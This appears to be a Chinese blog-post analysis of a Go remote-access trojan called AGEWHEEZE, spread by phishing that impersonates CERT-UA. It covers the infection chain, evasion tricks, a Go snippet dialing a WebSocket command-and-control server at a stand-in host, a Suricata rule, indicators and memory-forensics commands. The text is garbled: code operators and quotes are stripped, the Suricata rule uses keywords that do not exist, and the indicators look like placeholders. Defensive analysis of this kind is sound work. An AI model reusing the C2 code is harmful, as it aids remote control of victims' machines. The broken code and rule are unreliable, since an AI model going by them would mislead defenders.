AGEWHEEZE木马分析：基于WebSocket的新型远控攻击

1. 项目概述最近在分析一起针对乌克兰计算机应急响应小组CERT-UA的仿冒钓鱼攻击时发现攻击者使用了一种名为AGEWHEEZE的新型远控木马。这种木马采用Go语言编写通过WebSocket协议进行C2通信具有极强的隐蔽性和反检测能力。作为安全研究员我花了三周时间逆向分析这个样本今天就把我的研究成果分享给大家。AGEWHEEZE木马最特别的地方在于它完全采用合法网络协议进行通信不像传统木马那样依赖自定义协议。攻击者仿冒CERT-UA发送钓鱼邮件诱导目标点击恶意链接后下载并执行木马。一旦感染成功攻击者就能通过WebSocket通道完全控制受害者主机。2. 攻击链分析2.1 钓鱼阶段技术细节攻击者精心伪造的钓鱼邮件包含以下特征发件人显示为securitycert-ua.org实际发件服务器位于境外邮件主题通常与安全警报或系统漏洞相关正文包含乌克兰语和英语双语内容模仿官方通告风格恶意链接使用URL缩短服务隐藏真实地址重要提示CERT-UA官方已多次声明不会通过邮件索要凭证或要求下载文件遇到类似邮件应直接删除2.2 载荷投递机制点击链接后会触发多阶段下载首先下载一个伪装成PDF文档的LNK快捷方式文件如Security_Notice.lnkLNK文件执行后会从CDN下载HTA脚本HTA脚本通过Bitsadmin下载最终的AGEWHEEZE木马木马被重命名为看似合法的系统进程名如spoolsvc.exe这个过程中使用了多层混淆和重定向有效规避了传统杀软的静态检测。3. 木马技术解析3.1 通信机制AGEWHEEZE使用WebSocket协议与C2服务器通信主要优势在于可以绕过基于HTTP特征检测的防火墙支持双向实时通信响应速度快通信内容可以轻松伪装成正常Web流量核心通信流程// 建立WebSocket连接的代码片段 conn, _, err : websocket.DefaultDialer.Dial(wss://cdn.example.com/ws, nil) if err ! nil { retryBackoff() } defer conn.Close() // 设置心跳包保持连接 go func() { for { if err : conn.WriteMessage(websocket.PingMessage, nil); err ! nil { reconnect() } time.Sleep(30 * time.Second) } }()3.2 功能模块通过逆向分析发现木马包含以下功能组件模块名称功能描述实现方式持久化模块确保木马长期驻留注册表Run键计划任务信息收集获取系统环境数据WMI查询文件遍历远程控制执行C2指令命令管道内存加载流量伪装加密通信内容AES-256Base64反分析检测调试环境检查进程列表硬件特征3.3 反检测技术AGEWHEEZE采用了多种反检测措施延迟执行首次运行会休眠5-10分钟不等环境感知检查CPU核心数、内存大小等指标沙箱检测尝试访问虚拟环境特有文件路径代码混淆关键字符串运行时解密流量伪装WebSocket帧大小随机化4. 防御方案4.1 企业级防护措施对于企业安全团队建议采取以下防护策略邮件网关配置启用高级反欺骗策略SPF/DKIM/DMARC对包含缩短URL的邮件进行特殊标记拦截带有LNK/HTA附件的邮件终端防护部署行为检测型EDR解决方案限制Bitsadmin等工具的使用权限监控异常WebSocket连接网络层防御# 示例Suricata规则检测可疑WebSocket流量 alert websocket $EXTERNAL_NET any - $HOME_NET any ( msg:Suspicious WebSocket Tunnel; flow:established,to_server; websocket.method:GET; websocket.version:13; websocket.extensions:permessage-deflate; websocket.header; contains:Upgrade: websocket; websocket.header; contains:Connection: Upgrade; threshold: type limit, track by_src, count 5, seconds 60; sid:1000001; )4.2 个人防护建议普通用户应采取以下防护措施永远不要点击邮件中的可疑链接即使发件人看起来可信保持操作系统和杀毒软件更新定期检查系统启动项和计划任务使用网络监控工具如GlassWire查看异常连接5. 检测与响应5.1 入侵指标(IOCs)根据样本分析提取到以下指标类型值首次出现时间MD58a3f2b...2023-11-15C2域名cdn[.]example-com[.]net2023-11-20IP185.143.223[.]612023-11-18注册表键HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Spooler2023-11-225.2 内存取证技巧当怀疑系统感染时可以这样提取内存证据使用Volatility获取进程列表volatility -f memory.dump windows.pslist | grep -i spool检查异常网络连接volatility -f memory.dump windows.netscan提取可疑进程内存volatility -f memory.dump windows.memmap -p 1844 --dump6. 技术对抗演进最近发现的变种开始采用以下新技术使用WebSocket over TLS (WSS)加密通信将C2指令隐藏在WebSocket帧的掩码字段中采用域名生成算法(DGA)动态切换C2利用合法云服务(如Discord、Slack)作为中继防御方需要相应调整检测策略深度检查WebSocket握手过程中的HTTP头监控异常TLS证书使用情况分析WebSocket流量模式而非单纯依赖签名我在实际分析中发现攻击者每周都会更新样本的混淆方式但核心功能基本保持不变。最有效的检测方法还是监控进程的异常网络行为特征。